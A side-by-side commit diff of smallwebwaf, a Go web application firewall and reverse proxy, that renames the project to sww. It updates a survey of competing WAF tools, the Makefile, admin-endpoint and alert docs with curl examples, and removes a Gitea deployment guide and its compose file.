acquisition from traefik, a bouncer such as the traefik plugin, and YAML - R10, because it needs:
for acquisition, profiles, scenarios and notifications), bytes half of R4. - the security engine container with persistent state
- log acquisition from traefik
- a bouncer such as the traefik plugin
- YAML for acquisition, profiles, scenarios and notifications
- R4's alerts on bytes.
- CrowdSec plus traefik's own `rateLimit` middleware is the best combination - CrowdSec plus traefik's own `rateLimit` middleware is the best combination
with no new code. It gives inline limiting (one window per middleware, keyed with no new code. It gives inline limiting (one window per middleware, keyed
by IP, with `sourceCriterion` exclusions), bans with escalation, alerts and by IP, with `sourceCriterion` exclusions), bans with escalation, alerts and
reputation. It still fails R8, the bytes half of R4, R1's three stacked reputation lookups. It still fails R8, R4's alerts on bytes, and R10 entirely:
windows only by chaining three middlewares per router, and R10 entirely: the the configuration lives in traefik labels and CrowdSec YAML on each host, not
configuration lives in traefik labels and CrowdSec YAML on each host, not in in one sidecar's environment. It meets R1's three windows only by chaining
one sidecar's environment. three middlewares per router.
## Candidate by candidate ## Candidate by candidate
@@ -87,10 +99,10 @@ Closest existing options, and why each still falls short:
cached, streamed decision list (recommended), standalone against the cached, streamed decision list (recommended), standalone against the
central API, or AppSec only. Supports captcha remediation. central API, or AppSec only. Supports captcha remediation.
- Covers: R5, R6, R9, R3 and R7 through the engine (see Verdict). - Covers: R5, R6, R9, R3 and R7 through the engine (see Verdict).
- Misses: the plugin itself does no rate limiting; R8; R4 bytes. - Misses: the plugin itself does no rate limiting; R8; R4's alerts on bytes.
- Configuration: traefik static config to load the plugin, dynamic config or - Configuration: traefik static config to load the plugin, dynamic config or
labels for the middleware, CrowdSec YAML for everything else. labels for the middleware, CrowdSec YAML for everything else.
- Sidecar fit: no. It lives inside traefik, plus a separate engine - Sidecar fit: no. It runs inside traefik and needs a separate engine
container. container.
- Maturity: widely used (about 900 stars, listed in the traefik plugin - Maturity: widely used (about 900 stars, listed in the traefik plugin
catalog, documented by CrowdSec itself), actively maintained. Traefik catalog, documented by CrowdSec itself), actively maintained. Traefik
@@ -115,7 +127,7 @@ Closest existing options, and why each still falls short:
- What it is: nginx-derived (Tengine) reverse proxy with a proprietary - What it is: nginx-derived (Tengine) reverse proxy with a proprietary
semantic detection engine and a web console. About 22,000 stars. semantic detection engine and a web console. About 22,000 stars.
- Covers: R9 well, basic per-IP rate limiting with block duration, bot - Covers: R9 well, basic per-IP rate limiting with block duration, bot
challenge, authentication gate. challenge, authentication in front of the app.
- Misses: R8, R7, R4; R1 has one window per rule. Country blocking, alert - Misses: R8, R7, R4; R1 has one window per rule. Country blocking, alert
messages, syslog forwarding and the better reputation database are paid messages, syslog forwarding and the better reputation database are paid
(Lite about 10 USD per month, Pro about 100 USD per month); the free (Lite about 10 USD per month, Pro about 100 USD per month); the free
@@ -128,7 +140,7 @@ Closest existing options, and why each still falls short:
- Coraza (`corazawaf/coraza`) and Coraza-based proxies - Coraza (`corazawaf/coraza`) and Coraza-based proxies
- What it is: a Go library that implements the ModSecurity rule language and - What it is: a Go library that implements the ModSecurity rule language and
runs the OWASP Core Rule Set. OWASP project, actively maintained, the runs the OWASP Core Rule Set. OWASP project, actively maintained, the
successor path now that ModSecurity is in maintenance only. successor to ModSecurity, which is now in maintenance only.
- Packagings: `coraza-caddy` (Caddy module), `coraza-spoa` (HAProxy), - Packagings: `coraza-caddy` (Caddy module), `coraza-spoa` (HAProxy),
`coraza-proxy-wasm` (Envoy), a traefik WASM plugin, and `coraza-proxy-wasm` (Envoy), a traefik WASM plugin, and
`coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule Set, `coreruleset/coraza-crs-docker` (Caddy plus Coraza plus the Core Rule Set,
@@ -142,7 +154,7 @@ Closest existing options, and why each still falls short:
- ModSecurity Core Rule Set containers (`owasp/modsecurity-crs`) - ModSecurity Core Rule Set containers (`owasp/modsecurity-crs`)
- What it is: official images of Apache or nginx with ModSecurity and the - What it is: official images of Apache or nginx with ModSecurity and the
Core Rule Set, as a reverse proxy configured by env vars (`BACKEND`, Core Rule Set, as a reverse proxy configured by env vars (`BACKEND`,
paranoia level, anomaly thresholds, many more). Current images carry paranoia level, anomaly thresholds, many more). Current images contain
ModSecurity 2.9.x on Apache and Core Rule Set 4.x. ModSecurity 2.9.x on Apache and Core Rule Set 4.x.
- Covers: R9, and R10 (single container, env vars, one backend). - Covers: R9, and R10 (single container, env vars, one backend).
- Misses: R1 to R8. - Misses: R1 to R8.
@@ -152,16 +164,16 @@ Closest existing options, and why each still falls short:
- Anubis (`TecharoHQ/anubis`), 1.27 current - Anubis (`TecharoHQ/anubis`), 1.27 current
- What it is: a single-binary reverse proxy that makes browsers solve a - What it is: a single-binary reverse proxy that makes browsers solve a
proof-of-work challenge before passing them to `TARGET`. Aimed at proof-of-work challenge before passing them to `TARGET`. Aimed at
scrapers, which is likely a large share of unwanted traffic on a public scrapers, which are likely a large share of the unwanted traffic on a
gitea. public code forge.
- Covers: R10 well (one container, env vars for listener, target, - Covers: R10 well (one container, env vars for listener, target,
difficulty, cookies). Policy rules can match on path, user agent, headers, difficulty, cookies). Policy rules can match on path, user agent, headers,
IP ranges, and with the vendor's hosted data service also AS number and IP ranges, and with the vendor's hosted data service also AS number and
country, and can weigh a request toward a harder challenge. country, and can weigh a request toward a harder challenge.
- Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env - Misses: R1, R3, R4, R5, R6, R9. Bot policy needs a YAML file, not env
vars. AS number and country matching depend on the vendor's hosted vars. AS number and country matching depend on the vendor's hosted
service. Breaks non-browser clients unless paths are exempted; for gitea, service. Breaks non-browser clients unless paths are exempted; for a code
git-over-HTTP and API paths must be allowed through by rule. forge, git-over-HTTP and API paths must be allowed through by rule.
- Maturity: very active, widely deployed on code forges since 2025. - Maturity: very active, widely deployed on code forges since 2025.
- Value here: complementary. It can be chained (traefik, then the sidecar, - Value here: complementary. It can be chained (traefik, then the sidecar,
then Anubis, then the app) if challenge pages are wanted. then Anubis, then the app) if challenge pages are wanted.
@@ -180,13 +192,13 @@ Closest existing options, and why each still falls short:
temporary ban, no escalation, state lost on traefik restart) and R2 temporary ban, no escalation, state lost on traefik restart) and R2
(allowlist). Nothing else. (allowlist). Nothing else.
- `juitde/traefik-plugin-fail2ban`, fail2ban connector plugins, GeoBlock - `juitde/traefik-plugin-fail2ban`, fail2ban connector plugins, GeoBlock
plugins (country allow or deny through an external lookup API): same plugins (country allow or deny through an external lookup API): each adds
shape, each one small feature, configured in traefik, state in memory. one small feature, is configured in traefik and keeps its state in memory.
- Sidecar fit: no; they live inside traefik. - Sidecar fit: no; they live inside traefik.
- Traefik built-in middlewares - Traefik built-in middlewares
- `rateLimit` (one average-and-burst window per middleware, optional Redis - `rateLimit` (one average-and-burst window per middleware, optional Redis
in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, reputation in traefik 3.x), `inFlightReq`, `ipAllowList`. No bans, alerts, reputation
or AS number awareness. lookups or AS number lookups.
- caddy-waf (`fabriziosalmi/caddy-waf`), 0.4.x - caddy-waf (`fabriziosalmi/caddy-waf`), 0.4.x
- What it is: a Caddy module with regex rules and anomaly scoring, per-IP - What it is: a Caddy module with regex rules and anomaly scoring, per-IP
and per-path rate limiting with one configurable window, IP and DNS and per-path rate limiting with one configurable window, IP and DNS
@@ -198,12 +210,12 @@ Closest existing options, and why each still falls short:
- open-appsec (Check Point) - open-appsec (Check Point)
- Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, with - Machine-learning WAF agent attached to nginx, Kong, Envoy or similar, with
a declarative policy file or the vendor's cloud console. Covers R9 only; a declarative policy file or the vendor's cloud console. Covers R9 only;
rate limiting and richer features are in paid tiers. Not a sidecar in the rate limiting and richer features are in paid tiers. It attaches to an
required sense. existing proxy, so it is not the sidecar R10 asks for.
- iocaine - iocaine
- Serves generated garbage pages to clients the fronting proxy classifies as - Serves generated garbage pages to clients the fronting proxy classifies as
scrapers. Not a limiter, WAF or ban tool; out of scope except as a scrapers. Not a limiter, WAF or ban tool; out of scope, and only of
curiosity for scraper traffic. passing interest for scraper traffic.
- Pangolin - Pangolin
- A tunnelled access platform that bundles traefik and optionally CrowdSec. - A tunnelled access platform that bundles traefik and optionally CrowdSec.
Replaces the ingress rather than adding a sidecar; out of scope. Replaces the ingress rather than adding a sidecar; out of scope.
@@ -214,17 +226,17 @@ Closest existing options, and why each still falls short:
Everyone else offers one window per rule or none. Everyone else offers one window per rule or none.
- R2 bypass netblocks: BunkerWeb, CrowdSec, traefik, fail2ban plugins. - R2 bypass netblocks: BunkerWeb, CrowdSec, traefik, fail2ban plugins.
- R3 alerts: CrowdSec (best), BunkerWeb (denied requests only), SafeLine (paid). - R3 alerts: CrowdSec (best), BunkerWeb (denied requests only), SafeLine (paid).
- R4 volume and byte anomalies: none. CrowdSec can approximate request-count - R4 alerts on request counts and bytes: none. CrowdSec can approximate alerts
anomalies with a custom scenario; nothing handles bytes. on request counts with a custom scenario; no surveyed tool alerts on bytes.
- R5 temporary then permanent: CrowdSec only. BunkerWeb has fixed or permanent, - R5 temporary then permanent: CrowdSec only. BunkerWeb's ban is either one
not both by history. fixed length or permanent, and does not change with a client's history.
- R6 reputation: CrowdSec, BunkerWeb, go-away, caddy-waf (static lists). - R6 reputation: CrowdSec, BunkerWeb, go-away, caddy-waf (static lists).
- R7 AS number lookup: CrowdSec (enrichment), BunkerWeb and caddy-waf (allow or - R7 AS number lookup: CrowdSec (enrichment), BunkerWeb and caddy-waf (allow or
deny), Anubis (hosted service). deny), Anubis (hosted service).
- R8 biased thresholds: none. - R8 biased thresholds: none.
- R9 attack detection: Coraza or ModSecurity with the Core Rule Set (open, - R9 attack detection: Coraza or ModSecurity with the Core Rule Set (open,
standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps the standard), CrowdSec AppSec, SafeLine (closed engine), BunkerWeb (wraps Coraza
first). or ModSecurity).
- R10 env-var sidecar: `owasp/modsecurity-crs`, `coraza-crs-docker`, Anubis. - R10 env-var sidecar: `owasp/modsecurity-crs`, `coraza-crs-docker`, Anubis.
None of these covers anything beyond its one job. None of these covers anything beyond its one job.
+7 -11
View File
@@ -1,13 +1,12 @@
.PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \ .PHONY: bootstrap setup test lint fmt fmt-check tidy check docker publish \
run example-app gitea-requests gitea-setup hooks build run example-app
# Makefile targets are thin shims; the implementations live in script/ # Makefile targets are thin shims; the implementations live in script/
# per the scripts-to-rule-them-all pattern (see the Entrypoints section # per the scripts-to-rule-them-all pattern (see the Entrypoints section
# of README.md). tidy writes go.mod and go.sum as `go mod tidy` does, # of README.md). tidy writes go.mod and go.sum as `go mod tidy` does,
# which test checks. build and run are for working on the code by hand; # which test checks. build and run are for working on the code by hand;
# example-app checks the image with an app built on it; gitea-requests # example-app checks the image with an app built on it; publish builds
# reports the gitea requests the Core Rule Set refuses at the defaults; # the image on the Docker host and pushes it to the registry.
# gitea-setup checks the setup in deploy/gitea.
bootstrap: bootstrap:
@script/bootstrap @script/bootstrap
@@ -36,6 +35,9 @@ check:
docker: docker:
@script/docker @script/docker
publish:
@script/publish
hooks: hooks:
@script/install-precommit @script/install-precommit
@@ -47,9 +49,3 @@ run:
example-app: example-app:
@script/example-app @script/example-app
gitea-requests:
@script/gitea-requests
gitea-setup:
@script/gitea-setup
+397 -394
View File
File diff suppressed because it is too large. Load diff
+2055 -724
View File
File diff suppressed because it is too large. Load diff
-20
View File
@@ -1,20 +0,0 @@
// Command smallwebwaf is a web application firewall. `smallwebwaf rproxy` is
// the reverse proxy in front of one app, which asks servewaf about each request.
// `smallwebwaf servewaf` decides, for many sites, and keeps what lasts.
// `smallwebwaf healthcheck` is the container's health check. Everything it does
// is in internal/smallwebwaf.
package main
import (
"os"
"sneak.berlin/go/smallwebwaf/internal/smallwebwaf"
)
// Version is the version of the binary, set when it is built with
// -ldflags "-X main.Version=...".
var Version = "dev" //nolint:gochecknoglobals // the linker sets it
func main() {
os.Exit(smallwebwaf.Main(Version))
}
+20
View File
@@ -0,0 +1,20 @@
// Command sww is a web application firewall. `sww rproxy` is the reverse
// proxy in front of one app, which asks waf about each request.
// `sww waf` decides, for many sites, and keeps what lasts. `sww
// healthcheck` is the container's health check. Everything it does is in
// internal/sww.
package main
import (
"os"
"sneak.berlin/go/smallwebwaf/internal/sww"
)
// Version is the version of the binary, set when it is built with
// -ldflags "-X main.Version=...".
var Version = "dev" //nolint:gochecknoglobals // the linker sets it
func main() {
os.Exit(sww.Main(Version))
}
+2 -2
View File
@@ -6,8 +6,8 @@
# A real app names the smallwebwaf image by digest. This one takes the # A real app names the smallwebwaf image by digest. This one takes the
# image script/example-app has just built, or else the one `make docker` # image script/example-app has just built, or else the one `make docker`
# builds. # builds.
ARG SMALLWEBWAF_IMAGE=smallwebwaf ARG SWW_IMAGE=smallwebwaf
FROM ${SMALLWEBWAF_IMAGE} FROM ${SWW_IMAGE}
# Packages the app needs, from the nixpkgs in the image. # Packages the app needs, from the nixpkgs in the image.
RUN nix-env -iA nixpkgs.busybox RUN nix-env -iA nixpkgs.busybox
-135
View File
@@ -1,135 +0,0 @@
# Gitea behind traefik, with rproxy and servewaf in front of it.
# docs/gitea.md says what each setting here does and why. Before starting it:
# - set SMALLWEBWAF_IMAGE to the smallwebwaf image, named by digest;
# - replace git.example.org with the site's host name;
# - replace each 10.99.0 with the first three numbers of a /24 subnet that
# no other network on the host uses. The /24 must lie inside 10.0.0.0/8,
# 172.16.0.0/12 or 192.168.0.0/16, because rproxy believes
# X-Forwarded-For only from those by default. Replace each fd10:99 with
# the first two hextets of an unused /64 subnet whose third and fourth
# hextets are 0, as in fd10:99::/64;
# - set GITEA_SECRET_KEY to the output of
# `docker run --rm <gitea's image below> gitea generate secret SECRET_KEY`,
# once per install, and keep it.
# Then run `docker compose up --detach` in this directory.
# script/gitea-setup checks this setup.
name: gitea
x-logging: &logging
driver: json-file
options:
max-size: 10m
max-file: "5"
services:
traefik:
# traefik v3.7.17, 2026-11-03
image: traefik@sha256:68ae5fe5b64ca166704b746a9e8afcd385e36b3f569a5691401bf652d57b3748
# traefik replaces the X-Forwarded-For header a visitor sends. Keep it
# so: otherwise a visitor could name an address on the shared network,
# and skip servewaf's checks.
command:
- --providers.docker.exposedbydefault=false
- --entrypoints.web.address=:80
- --entrypoints.web.http.redirections.entrypoint.to=websecure
- --entrypoints.websecure.address=:443
# Until a certificate resolver is added here, as for your other
# sites, traefik answers with a certificate it made itself.
- --entrypoints.websecure.http.tls=true
# traefik's own limit of 60 seconds for a whole request would cut
# off an upload long before rproxy's limit of 30 minutes.
- --entrypoints.websecure.transport.respondingTimeouts.readTimeout=30m
ports:
- 80:80
- 443:443
volumes:
- /var/run/docker.sock:/var/run/docker.sock:ro
networks:
shared:
# Containers on the shared network find traefik under the
# site's name, and so reach it from their own address.
aliases:
- git.example.org
restart: unless-stopped
gitea:
# gitea 1.27.3, 2026-08-29
image: gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef
environment:
GITEA__server__ROOT_URL: https://git.example.org/
# Gitea starts at its defaults, with SQLite, instead of showing its
# install page to whoever opens it first.
GITEA__security__INSTALL_LOCK: "true"
GITEA__security__SECRET_KEY: ${GITEA_SECRET_KEY:?set GITEA_SECRET_KEY, see docs/gitea.md}
# Accounts are made with `gitea admin user create`.
GITEA__service__DISABLE_REGISTRATION: "true"
# rproxy's addresses. Gitea then takes each visitor's address from
# the X-Real-Ip header traefik sets and rproxy passes on.
GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES: 10.99.0.2,fd10:99::2
volumes:
- gitea-data:/data
networks:
- shared
restart: unless-stopped
rproxy:
image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image}
environment:
SWRP_WAF_BACKEND: http://servewaf:8080
SWRP_UPSTREAM_URL: http://gitea:3000
# Pushes, LFS objects, packages and release attachments of up to
# 2 GiB, sent in up to 30 minutes.
SWRP_MAX_REQUEST_SIZE: 2G
SWRP_MAX_REQUEST_TIME_MS: "1800000"
# 15 minutes for a clone or a download, half the default.
SWRP_MAX_RESPONSE_TIME_MS: "900000"
labels:
traefik.enable: "true"
traefik.http.routers.gitea.rule: Host(`git.example.org`)
traefik.http.routers.gitea.entrypoints: websecure
traefik.http.services.gitea.loadbalancer.server.port: "8080"
networks:
shared:
ipv4_address: 10.99.0.2
ipv6_address: fd10:99::2
logging: *logging
restart: unless-stopped
servewaf:
image: ${SMALLWEBWAF_IMAGE:?set SMALLWEBWAF_IMAGE to the smallwebwaf image}
environment:
SMALLWEBWAF_COMMAND: servewaf
# The containers on the shared network skip the checks. Add the
# address of an automation fleet on another host here too; without
# that, it is counted like any client.
SWWAF_ALLOW_NETS: 10.99.0.128/25,fd10:99:0:0:8000::/65
# In block mode the Core Rule Set refuses everyday Gitea searches
# and file names, and 31 refusals in a minute ban the address.
SWWAF_WAF_MODE: detect
volumes:
- servewaf-state:/var/lib/smallwebwaf
networks:
- shared
logging: *logging
restart: unless-stopped
networks:
# The network traefik and Gitea share. Its containers get addresses in the
# upper half of each subnet, which servewaf lets skip the checks. Each
# subnet's gateway, the host's own address on it, stays out of that half:
# requests docker passes on from a published port can come from it.
shared:
enable_ipv6: true
ipam:
config:
- subnet: 10.99.0.0/24
ip_range: 10.99.0.128/25
gateway: 10.99.0.1
- subnet: fd10:99::/64
ip_range: fd10:99:0:0:8000::/65
gateway: fd10:99::1
volumes:
gitea-data:
servewaf-state:
+32 -32
View File
@@ -1,60 +1,60 @@
# Admin endpoints # Admin endpoints
The endpoints under `/_smallwebwaf/`, what each takes and what each answers. The endpoints under `/_sww/`, what each takes and what each answers. `sww waf`
`smallwebwaf servewaf` answers them at its own address, on the private network. answers them at its own address, on the private network. "Admin endpoints" in
"Admin endpoints" in [`SPEC.md`](../SPEC.md) says how their tokens work. [`SPEC.md`](../SPEC.md) says how their tokens work.
- `GET /_smallwebwaf/healthz`: `200` and `ok`, to anyone. - `GET /_sww/healthz`: `200` and `ok`, to anyone.
- `GET /_smallwebwaf/metrics`: the metrics, for `SWWAF_METRICS_TOKEN` (see - `GET /_sww/metrics`: the metrics, for `SWW_WAF_METRICS_TOKEN` (see
[`metrics.md`](metrics.md)). [`metrics.md`](metrics.md)).
- `GET /_smallwebwaf/bans`: every ban held, under `bans`, each as `bans.json` - `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
lists it. Needs `SWWAF_ADMIN_TOKEN`, as do the three below. Needs `SWW_WAF_ADMIN_TOKEN`, as do the three below.
- `POST /_smallwebwaf/bans`: bans a netblock. The body is a JSON object of - `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
`netblock`, `duration` and, if you like, `reason`. `netblock` is a netblock `duration` and, if you like, `reason`. `netblock` is a netblock such as
such as `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
(`SWWAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such (`SWW_WAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is such as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying
wrong: what is wrong:
- one that is not such an object, or has another field; - one that is not such an object, or has another field;
- one longer than 4 KiB; - one longer than 4 KiB;
- one that names an IPv4-mapped netblock, or an address with a zone. - one that names an IPv4-mapped netblock, or an address with a zone.
- `DELETE /_smallwebwaf/bans/<client>`: lifts every active ban covering the - `DELETE /_sww/bans/<client>`: lifts every active ban covering the address
address `<client>`. It answers `404` when none is active. `<client>`. It answers `404` when none is active.
- `GET /_smallwebwaf/clients/<ip>`: what `servewaf` knows of the client. Under - `GET /_sww/clients/<ip>`: what `waf` knows of the client. Under `client`, its
`client`, its counters and history as `clients.json` holds them, or `null` counters and history as `clients.json` holds them, or `null` when
when `clients.json` does not hold it. Under `bans`, every ban covering the `clients.json` does not hold it. Under `bans`, every ban covering the address,
address, with its notes. with its notes.
- `POST /_smallwebwaf/report`: takes `rproxy`'s report, without a token. It - `POST /_sww/report`: takes `rproxy`'s report, without a token. It answers
answers `204`, or `400` to a body that is no report (see "The report" in `204`, or `400` to a body that is no report (see "The report" in
[`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
No check runs on these requests. A missing or wrong token is answered `401`. An No check runs on these requests. A missing or wrong token is answered `401`. An
endpoint whose token is unset answers `404`, as does any other path. endpoint whose token is unset answers `404`, as does any other path.
`smallwebwaf rproxy` answers only the health check of these, at its own address. `sww rproxy` answers only the health check of these, at its own address. It asks
It asks `servewaf` about any other request under `/_smallwebwaf/`. One that `waf` about any other request under `/_sww/`. One that passes the checks is
passes the checks is answered `404`, so that the app never sees that prefix (see answered `404`, so that the app never sees that prefix (see "`rproxy`" in
"`rproxy`" in [`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
## Examples ## Examples
With `SWWAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `servewaf` reached as With `SWW_WAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
`servewaf:8080` on its network: `waf:8080` on its network:
```sh ```sh
# Every ban. # Every ban.
curl -H "Authorization: Bearer $TOKEN" http://servewaf:8080/_smallwebwaf/bans curl -H "Authorization: Bearer $TOKEN" http://waf:8080/_sww/bans
# Ban 203.0.113.0/24 for seven days. # Ban 203.0.113.0/24 for seven days.
curl -H "Authorization: Bearer $TOKEN" \ curl -H "Authorization: Bearer $TOKEN" \
--json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \ --json '{"netblock": "203.0.113.0/24", "duration": "7d", "reason": "probes for logins"}' \
http://servewaf:8080/_smallwebwaf/bans http://waf:8080/_sww/bans
# Lift the bans on 203.0.113.9. # Lift the bans on 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" -X DELETE \ curl -H "Authorization: Bearer $TOKEN" -X DELETE \
http://servewaf:8080/_smallwebwaf/bans/203.0.113.9 http://waf:8080/_sww/bans/203.0.113.9
# What servewaf knows of 203.0.113.9. # What waf knows of 203.0.113.9.
curl -H "Authorization: Bearer $TOKEN" \ curl -H "Authorization: Bearer $TOKEN" \
http://servewaf:8080/_smallwebwaf/clients/203.0.113.9 http://waf:8080/_sww/clients/203.0.113.9
``` ```
+15 -15
View File
@@ -6,12 +6,12 @@ back or dropped.
## Events ## Events
- `ban`: a ban `servewaf` made. - `ban`: a ban `waf` made.
- `permanent_ban`: a permanent ban it made, or an existing ban made permanent by - `permanent_ban`: a permanent ban it made, or an existing ban made permanent by
a request. a request.
- `waf_block`: the Core Rule Set scored a request at or over the threshold. The - `core_rule_set_match`: the Core Rule Set scored a request at or over the
request was refused unless the alert's `detail` gives `mode`: `detect` or threshold. The request was refused unless the alert's `detail` gives `mode`:
`observe`. `detect` or `observe`.
- `anomaly`: a count over an anomaly threshold. - `anomaly`: a count over an anomaly threshold.
- `reputation_hit`: a request from a client on a blocklist, the CrowdSec - `reputation_hit`: a request from a client on a blocklist, the CrowdSec
decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit. decision list or a DNS blocklist, or with an AbuseIPDB score that is a hit.
@@ -23,7 +23,8 @@ back or dropped.
- the day's AbuseIPDB checks used up. - the day's AbuseIPDB checks used up.
- `file_error`: one of: - `file_error`: one of:
- a rule file or state file edit with an error; - a rule file or state file edit with an error;
- a state file that cannot be written; - a cache file that does not parse, at start or after an edit;
- a state file or cache file that cannot be written;
- a replacement lookup database that cannot be read. - a replacement lookup database that cannot be read.
- `summary`: the hourly summary of alerts held back. - `summary`: the hourly summary of alerts held back.
@@ -34,7 +35,7 @@ on one line:
```json ```json
{ {
"instance": "fsn1/servewaf", "instance": "fsn1/waf",
"time": "2026-10-06T12:00:50.123461Z", "time": "2026-10-06T12:00:50.123461Z",
"event": "ban", "event": "ban",
"host": "app.example", "host": "app.example",
@@ -77,11 +78,10 @@ on one line:
} }
``` ```
- `instance`: `SWWAF_INSTANCE_NAME`. `time`: when the alert was raised. `event`: - `instance`: `SWW_WAF_INSTANCE_NAME`. `time`: when the alert was raised.
one of the events above. `event`: one of the events above.
- `host`: the site of the request that raised the alert, since one `servewaf` - `host`: the site of the request that raised the alert, since one `waf` serves
serves many sites. It is left out of `source_failure`, `file_error` and many sites. It is left out of `source_failure`, `file_error` and `summary`.
`summary`.
- `client`: the address whose request raised the alert. Empty for - `client`: the address whose request raised the alert. Empty for
`source_failure`, `file_error` and `summary`. `source_failure`, `file_error` and `summary`.
- `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise - `netblock`: empty for `source_failure`, `file_error` and `summary`; otherwise
@@ -111,8 +111,8 @@ on one line:
## Slack and ntfy ## Slack and ntfy
Slack and ntfy get a message with a title and a text. The title is the instance Slack and ntfy get a message with a title and a text. The title is the instance
and the event, such as `fsn1/servewaf: ban`. The text is the `reason`, then one and the event, such as `fsn1/waf: ban`. The text is the `reason`, then one line
line for each of these that the alert has: for each of these that the alert has:
- the host, the client, the netblock and the country; - the host, the client, the netblock and the country;
- the file, the source, the error and the mode from `detail`; - the file, the source, the error and the mode from `detail`;
@@ -123,14 +123,14 @@ escaped. ntfy gets the text as the message, with these headers:
- `Title`: the title; - `Title`: the title;
- `Authorization`: the token, as `Bearer <token>`, while - `Authorization`: the token, as `Bearer <token>`, while
`SWWAF_ALERT_NTFY_TOKEN` is set; `SWW_WAF_ALERT_NTFY_TOKEN` is set;
- `Priority` and `Tags`: by event, as listed below. - `Priority` and `Tags`: by event, as listed below.
The priority and tag by event: The priority and tag by event:
- `ban`: priority `default`, tag `no_entry`. - `ban`: priority `default`, tag `no_entry`.
- `permanent_ban`: priority `high`, tag `no_entry`. - `permanent_ban`: priority `high`, tag `no_entry`.
- `waf_block`: priority `default`, tag `shield`. - `core_rule_set_match`: priority `default`, tag `shield`.
- `anomaly`: priority `high`, tag `chart_with_upwards_trend`. - `anomaly`: priority `high`, tag `chart_with_upwards_trend`.
- `reputation_hit`: priority `low`, tag `label`. - `reputation_hit`: priority `low`, tag `label`.
- `source_failure` and `file_error`: priority `high`, tag `warning`. - `source_failure` and `file_error`: priority `high`, tag `warning`.
-340
View File
@@ -1,340 +0,0 @@
# smallwebwaf in front of gitea
`deploy/gitea/compose.yaml` runs gitea behind traefik, with `rproxy` and
`servewaf` in front of it. This document says what that setup sets and why, and
what the defaults would do without it. [`SPEC.md`](../SPEC.md) says how
`smallwebwaf` behaves.
## The setup
Four containers share one Docker network, the shared network:
- traefik, which routes the site's HTTPS requests to `rproxy`, and redirects
plain HTTP to HTTPS;
- `rproxy`, in front of gitea;
- gitea 1.27.3, as its image comes;
- `servewaf`, with a volume for its state files.
To start it:
1. In `deploy/gitea/compose.yaml`, replace `git.example.org` with the site's
host name.
2. Replace each `10.99.0` with the first three numbers of a `/24` subnet that no
other network on the host uses. The `/24` must lie inside `10.0.0.0/8`,
`172.16.0.0/12` or `192.168.0.0/16`, because `rproxy` believes
`X-Forwarded-For` only from those by default. Replace each `fd10:99` with the
first two hextets of an unused `/64` subnet whose third and fourth hextets
are 0, as in `fd10:99::/64`.
3. Set `SMALLWEBWAF_IMAGE` to the `smallwebwaf` image, named by digest.
4. Set `GITEA_SECRET_KEY` to the output of
`docker run --rm <gitea's image> gitea generate secret SECRET_KEY`, with
gitea's image as `deploy/gitea/compose.yaml` names it. Do this once per
install, and keep the key.
5. Run `docker compose up --detach` in `deploy/gitea`.
6. Make gitea's first user with `gitea admin user create`, in gitea's container,
as the user `git`.
Sign-up is off: accounts are made with `gitea admin user create`. gitea starts
at its defaults, with SQLite. traefik answers with a certificate it made itself
until you add a certificate resolver, as for your other sites. SSH to gitea does
not pass through `smallwebwaf`; publish gitea's SSH port yourself if you use it.
`make gitea-setup` checks the setup. It builds the image, brings the setup up
under a name of its own, and checks:
- that a page load, a push and a clone sent through traefik pass through
`rproxy`, and that `servewaf` checks them;
- that gitea logs the visitor's address, not `rproxy`'s;
- that a request from a container on the shared network skips the checks;
- that with `servewaf` stopped, gitea still answers through `rproxy`.
## Uploads and downloads
An upload is a request:
- a git push;
- an LFS object;
- a container image layer;
- a package file;
- a release attachment.
The setup lets an upload of up to 2 GiB, sent in up to 30 minutes, through:
- `SWRP_MAX_REQUEST_SIZE` is `2G`. At the default, an upload over 100 MiB is cut
off.
- `SWRP_MAX_REQUEST_TIME_MS` is `1800000`, 30 minutes. At the default, an upload
that takes over 60 seconds is cut off.
- traefik's `readTimeout` is 30 minutes. traefik's own default of 60 seconds for
a whole request would cut off an upload first.
A clone or a download is a response:
- `SWRP_MAX_RESPONSE_TIME_MS` is `900000`, 15 minutes, half the default. A clone
or download that takes longer is cut off.
- `SWRP_MAX_RESPONSE_SIZE` stays at its default, 1 GiB. A repository whose clone
is larger needs it raised.
The byte limits stay at their defaults: no minute limit, 50 GiB an hour and 100
GiB a day.
## The checks
`SWWAF_WAF_MODE` is `detect`. The Core Rule Set then logs a match, with its rule
ids, and refuses nothing. In `block` mode, the default, it refuses everyday
gitea searches and file names. The section "What the Core Rule Set refuses in
`block` mode" below lists them. Each such refusal counts toward the error burst,
so 31 in one minute ban the address.
Every other check stays at its default. A client may make 120 requests a minute,
1,500 an hour and 6,000 a day. Archive downloads and blame and history pages are
what scrapers hammer, and these limits do most of the work there.
## The shared network
Containers on the shared network skip `servewaf`'s checks:
- The shared network's subnets are `10.99.0.0/24` and `fd10:99::/64`. Docker
gives its containers addresses in the upper half of each, `10.99.0.128/25` and
`fd10:99:0:0:8000::/65`, which `SWWAF_ALLOW_NETS` names.
- traefik is known on the shared network by the site's host name. So a container
